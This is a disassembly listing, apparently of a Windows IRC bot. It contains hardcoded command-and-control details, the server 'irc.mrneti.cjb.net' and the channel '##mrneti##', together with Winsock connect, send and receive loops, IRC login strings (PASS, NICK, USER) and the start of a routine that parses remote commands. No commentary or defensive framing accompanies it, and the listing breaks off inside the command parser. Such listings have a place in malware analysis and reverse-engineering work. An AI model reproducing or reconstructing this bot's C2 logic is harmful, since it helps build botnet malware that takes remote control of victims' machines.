loc_401CAE:				; CODE XREF: sub_4016A7+660j
		mov	eax, [ebp+var_210]
		inc	eax
		mov	[ebp+var_210], eax


loc_401CBB:				; CODE XREF: sub_4016A7+605j
		cmp	[ebp+var_210], 6
		jge	short loc_401D09
		and	dword_4E15A0, 0
		push	offset dword_4E1420
		call	sub_401DEC
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 2
		jnz	short loc_401CE6
		jmp	short loc_401D09
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_4016A7+63Bj
		cmp	dword_4E15A0, 0
		jz	short loc_401CFC
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_401CFC:				; CODE XREF: sub_4016A7+646j
		push	0BB8h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_401CAE
; ---------------------------------------------------------------------------


loc_401D09:				; CODE XREF: sub_4016A7+61Bj
					; sub_4016A7+63Dj
		cmp	[ebp+var_20C], 2
		jnz	short loc_401D17
		jmp	loc_401DD8
; ---------------------------------------------------------------------------


loc_401D17:				; CODE XREF: sub_4016A7+669j
		cmp	[ebp+var_730], 0
		jz	short loc_401D6F
		push	7Fh
		push	offset aIrc_mrneti_cjb ; "irc.mrneti.cjb.net"
		push	offset dword_4E1424
		call	sub_421470
		add	esp, 0Ch
		mov	eax, dword_44106C
		mov	dword_4E1574, eax
		push	3Fh
		push	offset aMrneti	; "##mrneti##"
		push	offset dword_4E14A4
		call	sub_421470
		add	esp, 0Ch
		push	3Fh
		push	offset dword_4E1590
		push	offset dword_4E14E4
		call	sub_421470
		add	esp, 0Ch
		and	[ebp+var_730], 0
		jmp	short loc_401DD3
; ---------------------------------------------------------------------------


loc_401D6F:				; CODE XREF: sub_4016A7+677j
		cmp	[ebp+var_730], 0
		jnz	short loc_401DD3
		movsx	eax, byte_4E1594
		test	eax, eax
		jz	short loc_401DD3
		push	7Fh
		push	offset byte_4E1594
		push	offset dword_4E1424
		call	sub_421470
		add	esp, 0Ch
		mov	eax, dword_441070
		mov	dword_4E1574, eax
		push	3Fh
		push	offset dword_4E1598
		push	offset dword_4E14A4
		call	sub_421470
		add	esp, 0Ch
		push	3Fh
		push	offset dword_4E159C
		push	offset dword_4E14E4
		call	sub_421470
		add	esp, 0Ch
		mov	[ebp+var_730], 1


loc_401DD3:				; CODE XREF: sub_4016A7+6C6j
					; sub_4016A7+6CFj ...
		jmp	loc_401C9A
; ---------------------------------------------------------------------------


loc_401DD8:				; CODE XREF: sub_4016A7+5F8j
					; sub_4016A7+66Bj
		call	sub_40D605
		call	dword_4E1658	; WSACleanup
		xor	eax, eax


loc_401DE5:				; CODE XREF: sub_4016A7+C1j
					; sub_4016A7+F4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_4016A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401DEC	proc near		; CODE XREF: sub_4016A7+629p
					; DATA XREF: sub_4021E5+7361o

var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= word ptr -198h
var_196		= word ptr -196h
var_194		= dword	ptr -194h
var_188		= byte ptr -188h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= byte ptr -0E4h
var_A4		= byte ptr -0A4h
var_64		= byte ptr -64h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	59h
		pop	ecx
		lea	edi, [ebp+var_168]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+160h], 1


loc_401E18:				; CODE XREF: sub_401DEC+138j
					; sub_401DEC+1A1j ...
		push	1
		pop	eax
		test	eax, eax
		jz	loc_401FBB
		push	10h
		push	0
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_198], 2
		push	[ebp+var_14]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_196], ax
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_40C670
		pop	ecx
		mov	[ebp+var_194], eax
		cmp	[ebp+var_194], 0
		jnz	short loc_401E72
		xor	eax, eax
		jmp	loc_401FCA
; ---------------------------------------------------------------------------


loc_401E72:				; CODE XREF: sub_401DEC+7Dj
		push	1Ch
		push	0
		lea	eax, [ebp+var_188]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	dword_44109C
		push	dword_441098
		lea	eax, [ebp+var_188]
		push	eax
		call	sub_40CE78
		add	esp, 10h
		mov	[ebp+var_19C], eax
		push	1Bh
		push	[ebp+var_19C]
		mov	eax, [ebp+var_C]
		imul	eax, 234h
		add	eax, offset byte_454630
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+var_C]
		imul	eax, 234h
		mov	ecx, [ebp+var_1A0]
		mov	dword_454624[eax], ecx
		push	10h
		lea	eax, [ebp+var_198]
		push	eax
		push	[ebp+var_1A0]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F29
		push	[ebp+var_1A0]
		call	dword_4E1798	; closesocket
		call	sub_40C6B0
		push	7D0h
		call	near ptr 27B048Ah
		nop
		jmp	loc_401E18
; ---------------------------------------------------------------------------


loc_401F29:				; CODE XREF: sub_401DEC+11Aj
		lea	eax, [ebp+var_164]
		push	eax
		push	offset unk_441B54
		call	sub_417472
		pop	ecx
		pop	ecx
		push	[ebp+var_10]
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	[ebp+var_168]
		push	[ebp+var_19C]
		lea	eax, [ebp+var_A4]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		push	[ebp+var_1A0]
		call	sub_401FD0
		add	esp, 20h
		mov	[ebp+var_16C], eax
		push	[ebp+var_1A0]
		call	dword_4E1798	; closesocket
		cmp	[ebp+var_16C], 0
		jnz	short loc_401F92
		jmp	loc_401E18
; ---------------------------------------------------------------------------


loc_401F92:				; CODE XREF: sub_401DEC+19Fj
		cmp	[ebp+var_16C], 1
		jnz	short loc_401FAB
		push	0DBBA0h
		nop
		call	near ptr 27B048Ah
		jmp	loc_401E18
; ---------------------------------------------------------------------------


loc_401FAB:				; CODE XREF: sub_401DEC+1ADj
		cmp	[ebp+var_16C], 2
		jnz	short loc_401FB6
		jmp	short loc_401FBB
; ---------------------------------------------------------------------------


loc_401FB6:				; CODE XREF: sub_401DEC+1C6j
		jmp	loc_401E18
; ---------------------------------------------------------------------------


loc_401FBB:				; CODE XREF: sub_401DEC+31j
					; sub_401DEC+1C8j
		push	[ebp+var_C]
		call	sub_40D802
		pop	ecx
		mov	eax, [ebp+var_16C]


loc_401FCA:				; CODE XREF: sub_401DEC+81j
		pop	edi
		pop	esi
		leave
		retn	4
sub_401DEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FD0	proc near		; CODE XREF: sub_401DEC+17Ep

var_1A98	= dword	ptr -1A98h
var_1A94	= byte ptr -1A94h
var_1A14	= byte ptr -1A14h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= byte ptr -238h
var_B8		= byte ptr -0B8h
var_A4		= byte ptr -0A4h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A98h
		call	sub_421EE0
		and	[ebp+var_4], 0
		and	[ebp+var_240], 0
		jmp	short loc_401FF7
; ---------------------------------------------------------------------------


loc_401FEA:				; CODE XREF: sub_401FD0+41j
		mov	eax, [ebp+var_240]
		inc	eax
		mov	[ebp+var_240], eax


loc_401FF7:				; CODE XREF: sub_401FD0+18j
		cmp	[ebp+var_240], 3
		jge	short loc_402013
		mov	eax, [ebp+var_240]
		shl	eax, 7
		and	[ebp+eax+var_238], 0
		jmp	short loc_401FEA
; ---------------------------------------------------------------------------


loc_402013:				; CODE XREF: sub_401FD0+2Ej
		movsx	eax, byte_4E158C
		test	eax, eax
		jz	short loc_402033
		push	offset byte_4E158C
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40AFBE
		add	esp, 0Ch


loc_402033:				; CODE XREF: sub_401FD0+4Cj
		push	[ebp+arg_C]
		push	0
		push	0
		push	2
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_40CE78
		add	esp, 10h
		push	eax
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		lea	eax, [ebp+var_1A94]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		lea	eax, [ebp+var_1A94]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A94]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4020A3
		push	[ebp+arg_0]
		call	dword_4E1798	; closesocket
		push	1388h
		call	near ptr 27B048Ah
		nop
		xor	eax, eax
		jmp	locret_4021E3
; ---------------------------------------------------------------------------


loc_4020A3:				; CODE XREF: sub_401FD0+B6j
					; sub_401FD0:loc_4021DCj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_4021E1
		push	1000h
		push	0
		lea	eax, [ebp+var_1A14]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	1000h
		lea	eax, [ebp+var_1A14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1718	; recv
		test	eax, eax
		jg	short loc_4020E4
		jmp	loc_4021E1
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401FD0+10Dj
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A14]
		push	eax
		call	sub_41A280
		pop	ecx
		pop	ecx
		mov	[ebp+var_240], eax
		and	[ebp+var_A14], 0
		jmp	short loc_402115
; ---------------------------------------------------------------------------


loc_402108:				; CODE XREF: sub_401FD0:loc_4021D7j
		mov	eax, [ebp+var_A14]
		inc	eax
		mov	[ebp+var_A14], eax


loc_402115:				; CODE XREF: sub_401FD0+136j
		mov	eax, [ebp+var_A14]
		cmp	eax, [ebp+var_240]
		jge	loc_4021DC
		mov	[ebp+var_23C], 1


loc_402131:				; CODE XREF: sub_401FD0+1CEj
		push	[ebp+arg_1C]
		push	[ebp+var_23C]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+var_A14]
		push	[ebp+eax*4+var_A10]
		call	sub_4021E5
		add	esp, 2Ch
		mov	[ebp+var_23C], eax
		mov	eax, [ebp+var_23C]
		dec	eax
		mov	[ebp+var_23C], eax
		cmp	[ebp+var_23C], 0
		jle	short loc_402197
		push	7D0h
		nop
		call	near ptr 27B048Ah


loc_402197:				; CODE XREF: sub_401FD0+1BAj
		cmp	[ebp+var_23C], 0
		jg	short loc_402131
		mov	eax, [ebp+var_23C]
		mov	[ebp+var_1A98],	eax
		cmp	[ebp+var_1A98],	0FFFFFFFDh
		jz	short loc_4021D2
		cmp	[ebp+var_1A98],	0FFFFFFFEh
		jz	short loc_4021CD
		cmp	[ebp+var_1A98],	0FFFFFFFFh
		jz	short loc_4021C9
		jmp	short loc_4021D7
; ---------------------------------------------------------------------------


loc_4021C9:				; CODE XREF: sub_401FD0+1F5j
		xor	eax, eax
		jmp	short locret_4021E3
; ---------------------------------------------------------------------------


loc_4021CD:				; CODE XREF: sub_401FD0+1ECj
		push	1
		pop	eax
		jmp	short locret_4021E3
; ---------------------------------------------------------------------------


loc_4021D2:				; CODE XREF: sub_401FD0+1E3j
		push	2
		pop	eax
		jmp	short locret_4021E3
; ---------------------------------------------------------------------------


loc_4021D7:				; CODE XREF: sub_401FD0+1F7j
		jmp	loc_402108
; ---------------------------------------------------------------------------


loc_4021DC:				; CODE XREF: sub_401FD0+151j
		jmp	loc_4020A3
; ---------------------------------------------------------------------------


loc_4021E1:				; CODE XREF: sub_401FD0+D8j
					; sub_401FD0+10Fj
		xor	eax, eax

locret_4021E3:				; CODE XREF: sub_401FD0+CEj
					; sub_401FD0+1FBj ...
		leave
		retn
sub_401FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021E5	proc near		; CODE XREF: sub_401FD0+198p

var_4170	= dword	ptr -4170h
var_416C	= dword	ptr -416Ch
var_4168	= dword	ptr -4168h
var_4164	= dword	ptr -4164h
var_4160	= dword	ptr -4160h
var_415C	= dword	ptr -415Ch
var_4158	= dword	ptr -4158h
var_4154	= dword	ptr -4154h
var_4150	= dword	ptr -4150h
var_414C	= dword	ptr -414Ch
var_4148	= dword	ptr -4148h
var_4144	= dword	ptr -4144h
var_4140	= dword	ptr -4140h
var_413C	= dword	ptr -413Ch
var_4138	= dword	ptr -4138h
var_4134	= dword	ptr -4134h
var_4130	= dword	ptr -4130h
var_412C	= dword	ptr -412Ch
var_4128	= dword	ptr -4128h
var_4124	= dword	ptr -4124h
var_4120	= word ptr -4120h
var_411E	= word ptr -411Eh
var_411C	= dword	ptr -411Ch
var_4118	= dword	ptr -4118h
var_4114	= byte ptr -4114h
var_4014	= dword	ptr -4014h
var_4010	= byte ptr -4010h
var_3F0C	= byte ptr -3F0Ch
var_3E08	= byte ptr -3E08h
var_3A08	= dword	ptr -3A08h
var_3A04	= word ptr -3A04h
var_3A02	= word ptr -3A02h
var_3A00	= dword	ptr -3A00h
var_39F4	= dword	ptr -39F4h
var_39F0	= dword	ptr -39F0h
var_39EC	= dword	ptr -39ECh
var_39E8	= byte ptr -39E8h
var_3858	= byte ptr -3858h
var_3758	= byte ptr -3758h
var_3658	= byte ptr -3658h
var_3558	= byte ptr -3558h
var_3458	= byte ptr -3458h
var_3358	= dword	ptr -3358h
var_3354	= dword	ptr -3354h
var_3350	= dword	ptr -3350h
var_334C	= dword	ptr -334Ch
var_3348	= dword	ptr -3348h
var_3344	= byte ptr -3344h
var_3340	= dword	ptr -3340h
var_333C	= dword	ptr -333Ch
var_3338	= byte ptr -3338h
var_3334	= dword	ptr -3334h
var_3328	= byte ptr -3328h
var_3318	= byte ptr -3318h
var_3298	= byte ptr -3298h
var_3218	= dword	ptr -3218h
var_3214	= dword	ptr -3214h
var_3210	= dword	ptr -3210h
var_320C	= dword	ptr -320Ch
var_3208	= dword	ptr -3208h
var_31FC	= dword	ptr -31FCh
var_31F8	= dword	ptr -31F8h
var_31F0	= dword	ptr -31F0h
var_31EC	= dword	ptr -31ECh
var_31E8	= dword	ptr -31E8h
var_31E4	= dword	ptr -31E4h
var_31DC	= dword	ptr -31DCh
var_31D8	= dword	ptr -31D8h
var_31D4	= byte ptr -31D4h
var_3154	= dword	ptr -3154h
var_3150	= dword	ptr -3150h
var_314C	= dword	ptr -314Ch
var_3148	= dword	ptr -3148h
var_3144	= dword	ptr -3144h
var_313C	= dword	ptr -313Ch
var_3138	= dword	ptr -3138h
var_3134	= dword	ptr -3134h
var_312C	= dword	ptr -312Ch
var_3128	= dword	ptr -3128h
var_3124	= dword	ptr -3124h
var_3120	= byte ptr -3120h
var_30A0	= dword	ptr -30A0h
var_3098	= dword	ptr -3098h
var_3094	= dword	ptr -3094h
var_3090	= dword	ptr -3090h
var_3088	= dword	ptr -3088h
var_3084	= dword	ptr -3084h
var_3080	= dword	ptr -3080h
var_3078	= dword	ptr -3078h
var_3070	= byte ptr -3070h
var_2FF0	= byte ptr -2FF0h
var_2F70	= dword	ptr -2F70h
var_2F6C	= dword	ptr -2F6Ch
var_2F68	= dword	ptr -2F68h
var_2F60	= dword	ptr -2F60h
var_2F5C	= dword	ptr -2F5Ch
var_2F58	= dword	ptr -2F58h
var_2F50	= dword	ptr -2F50h
var_2F4C	= byte ptr -2F4Ch
var_2ECC	= byte ptr -2ECCh
var_2DCC	= byte ptr -2DCCh
var_2CCC	= dword	ptr -2CCCh
var_2CC8	= dword	ptr -2CC8h
var_2CC4	= dword	ptr -2CC4h
var_2CC0	= dword	ptr -2CC0h
var_2CBC	= dword	ptr -2CBCh
var_2CB8	= dword	ptr -2CB8h
var_2CB4	= dword	ptr -2CB4h
var_2CB0	= dword	ptr -2CB0h
var_2CAC	= dword	ptr -2CACh
var_2CA8	= byte ptr -2CA8h
var_2CA4	= byte ptr -2CA4h
var_2C24	= byte ptr -2C24h
var_2BE4	= byte ptr -2BE4h
var_2B54	= dword	ptr -2B54h
var_2B50	= dword	ptr -2B50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= byte ptr -2ABCh
var_29B8	= byte ptr -29B8h
var_28B4	= dword	ptr -28B4h
var_28B0	= dword	ptr -28B0h
var_28AC	= dword	ptr -28ACh
var_28A8	= dword	ptr -28A8h
var_28A4	= dword	ptr -28A4h
var_28A0	= byte ptr -28A0h
var_2890	= dword	ptr -2890h
var_2864	= dword	ptr -2864h
var_2860	= word ptr -2860h
var_284C	= byte ptr -284Ch
var_2748	= byte ptr -2748h
var_272C	= dword	ptr -272Ch
var_2728	= byte ptr -2728h
var_26A8	= byte ptr -26A8h
var_25A8	= byte ptr -25A8h
var_24A8	= dword	ptr -24A8h
var_24A4	= dword	ptr -24A4h
var_24A0	= dword	ptr -24A0h
var_249C	= dword	ptr -249Ch
var_2498	= dword	ptr -2498h
var_2494	= dword	ptr -2494h
var_2490	= dword	ptr -2490h
var_248C	= dword	ptr -248Ch
var_2488	= dword	ptr -2488h
var_2484	= dword	ptr -2484h
var_2480	= dword	ptr -2480h
var_247C	= dword	ptr -247Ch
var_2478	= dword	ptr -2478h
var_2474	= dword	ptr -2474h
var_2470	= dword	ptr -2470h
var_246C	= dword	ptr -246Ch
var_2468	= byte ptr -2468h
var_2368	= byte ptr -2368h
var_1F68	= byte ptr -1F68h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= byte ptr -1D54h
var_1CD4	= byte ptr -1CD4h
var_1C54	= byte ptr -1C54h
var_1BD4	= dword	ptr -1BD4h
var_1BD0	= dword	ptr -1BD0h
var_1BCC	= dword	ptr -1BCCh
var_1BC8	= dword	ptr -1BC8h
var_1BC4	= dword	ptr -1BC4h
var_1BBC	= byte ptr -1BBCh
var_1BA8	= byte ptr -1BA8h
var_1AA4	= byte ptr -1AA4h
var_1A20	= dword	ptr -1A20h
var_1A1C	= dword	ptr -1A1Ch
var_1A18	= dword	ptr -1A18h
var_1A14	= dword	ptr -1A14h
var_1A10	= dword	ptr -1A10h
var_1A0C	= dword	ptr -1A0Ch
var_1A08	= dword	ptr -1A08h
var_1A04	= dword	ptr -1A04h
var_1A00	= byte ptr -1A00h
var_19FC	= byte ptr -19FCh
var_19EC	= byte ptr -19ECh
var_196C	= byte ptr -196Ch
var_18EC	= dword	ptr -18ECh
var_18E4	= dword	ptr -18E4h
var_18E0	= dword	ptr -18E0h
var_18DC	= dword	ptr -18DCh
var_18D8	= dword	ptr -18D8h
var_18D4	= dword	ptr -18D4h
var_18D0	= dword	ptr -18D0h
var_18CC	= byte ptr -18CCh
var_18C8	= dword	ptr -18C8h
var_18BC	= byte ptr -18BCh
var_18AC	= byte ptr -18ACh
var_182C	= byte ptr -182Ch
var_17AC	= dword	ptr -17ACh
var_17A8	= dword	ptr -17A8h
var_17A4	= dword	ptr -17A4h
var_17A0	= dword	ptr -17A0h
var_179C	= dword	ptr -179Ch
var_1790	= dword	ptr -1790h
var_178C	= dword	ptr -178Ch
var_1784	= dword	ptr -1784h
var_1780	= dword	ptr -1780h
var_177C	= dword	ptr -177Ch
var_1778	= dword	ptr -1778h
var_1770	= dword	ptr -1770h
var_176C	= byte ptr -176Ch
var_1768	= dword	ptr -1768h
var_1764	= dword	ptr -1764h
var_1760	= dword	ptr -1760h
var_175C	= dword	ptr -175Ch
var_1758	= dword	ptr -1758h
var_1754	= byte ptr -1754h
var_1650	= byte ptr -1650h
var_154C	= dword	ptr -154Ch
var_1548	= dword	ptr -1548h
var_1544	= dword	ptr -1544h
var_1540	= byte ptr -1540h
var_14C0	= dword	ptr -14C0h
var_14BC	= dword	ptr -14BCh
var_14B8	= dword	ptr -14B8h
var_14B4	= byte ptr -14B4h
var_14A8	= byte ptr -14A8h
var_13A4	= dword	ptr -13A4h
var_13A0	= byte ptr -13A0h
var_1119	= byte ptr -1119h
var_1118	= byte ptr -1118h
var_1014	= dword	ptr -1014h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= dword	ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= byte ptr -0FE4h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= dword	ptr -0F54h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F48		= byte ptr -0F48h
var_EC8		= byte ptr -0EC8h
var_E48		= dword	ptr -0E48h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_DB4		= dword	ptr -0DB4h
var_DB0		= dword	ptr -0DB0h
var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= dword	ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D18		= word ptr -0D18h
var_D14		= dword	ptr -0D14h
var_D0C		= dword	ptr -0D0Ch
var_D08		= dword	ptr -0D08h
var_D04		= dword	ptr -0D04h
var_CFC		= dword	ptr -0CFCh
var_CF8		= byte ptr -0CF8h
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_C44		= byte ptr -0C44h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A90		= byte ptr -0A90h
var_A7C		= byte ptr -0A7Ch
var_978		= byte ptr -978h
var_8F8		= dword	ptr -8F8h
var_8F4		= dword	ptr -8F4h
var_8F0		= dword	ptr -8F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_874		= dword	ptr -874h
var_870		= dword	ptr -870h
var_86C		= dword	ptr -86Ch
var_868		= dword	ptr -868h
var_864		= dword	ptr -864h
var_860		= byte ptr -860h
var_85F		= byte ptr -85Fh
var_85E		= byte ptr -85Eh
var_85C		= dword	ptr -85Ch
var_858		= byte ptr -858h
var_658		= byte ptr -658h
var_5D8		= dword	ptr -5D8h
var_5D4		= byte ptr -5D4h
var_3D4		= byte ptr -3D4h
var_373		= byte ptr -373h
var_372		= byte ptr -372h
var_370		= byte ptr -370h
var_36F		= byte ptr -36Fh
var_366		= byte ptr -366h
var_364		= byte ptr -364h
var_362		= byte ptr -362h
var_361		= byte ptr -361h
var_2D4		= dword	ptr -2D4h
var_2D0		= byte ptr -2D0h
var_D0		= byte ptr -0D0h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_20		= byte ptr -20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 4170h
		call	sub_421EE0
		push	esi
		mov	[ebp+var_BC], 3
		and	[ebp+var_868], 0
		and	[ebp+var_864], 0
		and	[ebp+var_4], 0
		and	[ebp+var_85C], 0
		and	[ebp+var_C4], 0
		push	200h
		push	0


loc_402224:				; DATA XREF: sub_611A29+10r
					; sub_611A29+3Bw
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	1Bh
		push	[ebp+arg_10]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_402252
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402252:				; CODE XREF: sub_4021E5+63j
		push	200h
		push	0
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	1FFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	offset asc_441B9C ; " :"
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D4], eax
		push	1FFh
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	offset asc_441BA0 ; " "
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp+var_A0], eax
		mov	[ebp+var_5D8], 1
		jmp	short loc_4022E5
; ---------------------------------------------------------------------------


loc_4022D8:				; CODE XREF: sub_4021E5+124j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_4022E5:				; CODE XREF: sub_4021E5+F1j
		cmp	[ebp+var_5D8], 20h
		jge	short loc_40230B
		push	offset asc_441BA4 ; " "
		push	0
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5D8]
		mov	[ebp+ecx*4+var_A0], eax
		jmp	short loc_4022D8
; ---------------------------------------------------------------------------


loc_40230B:				; CODE XREF: sub_4021E5+107j
		cmp	[ebp+var_A0], 0
		jz	short loc_40231D
		cmp	[ebp+var_9C], 0
		jnz	short loc_402325


loc_40231D:				; CODE XREF: sub_4021E5+12Dj
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402325:				; CODE XREF: sub_4021E5+136j
		push	100h
		push	0
		lea	eax, [ebp+var_3D4]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_5D8], 1Fh
		jmp	short loc_402354
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_4021E5+18Cj
					; sub_4021E5:loc_4023FAj
		mov	eax, [ebp+var_5D8]
		dec	eax
		mov	[ebp+var_5D8], eax


loc_402354:				; CODE XREF: sub_4021E5+160j
		cmp	[ebp+var_5D8], 0
		jl	loc_4023FF
		mov	eax, [ebp+var_5D8]
		cmp	[ebp+eax*4+var_A0], 0
		jnz	short loc_402373
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_402373:				; CODE XREF: sub_4021E5+18Aj
		mov	eax, [ebp+var_5D8]
		mov	eax, [ebp+eax*4+var_A0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Dh
		jnz	short loc_4023F8
		mov	eax, [ebp+var_5D8]
		mov	eax, [ebp+eax*4+var_A0]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jnz	short loc_4023F8
		mov	eax, [ebp+var_5D8]
		mov	eax, [ebp+eax*4+var_A0]
		movsx	eax, byte ptr [eax+1]
		mov	[ebp+eax+var_3D4], 1
		mov	eax, [ebp+var_5D8]
		mov	eax, [ebp+eax*4+var_A0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_5D8]
		mov	eax, [ebp+eax*4+var_A0]
		and	byte ptr [eax+1], 0
		mov	eax, [ebp+var_5D8]
		mov	eax, [ebp+eax*4+var_A0]
		and	byte ptr [eax+2], 0
		mov	eax, [ebp+var_5D8]
		and	[ebp+eax*4+var_A0], 0
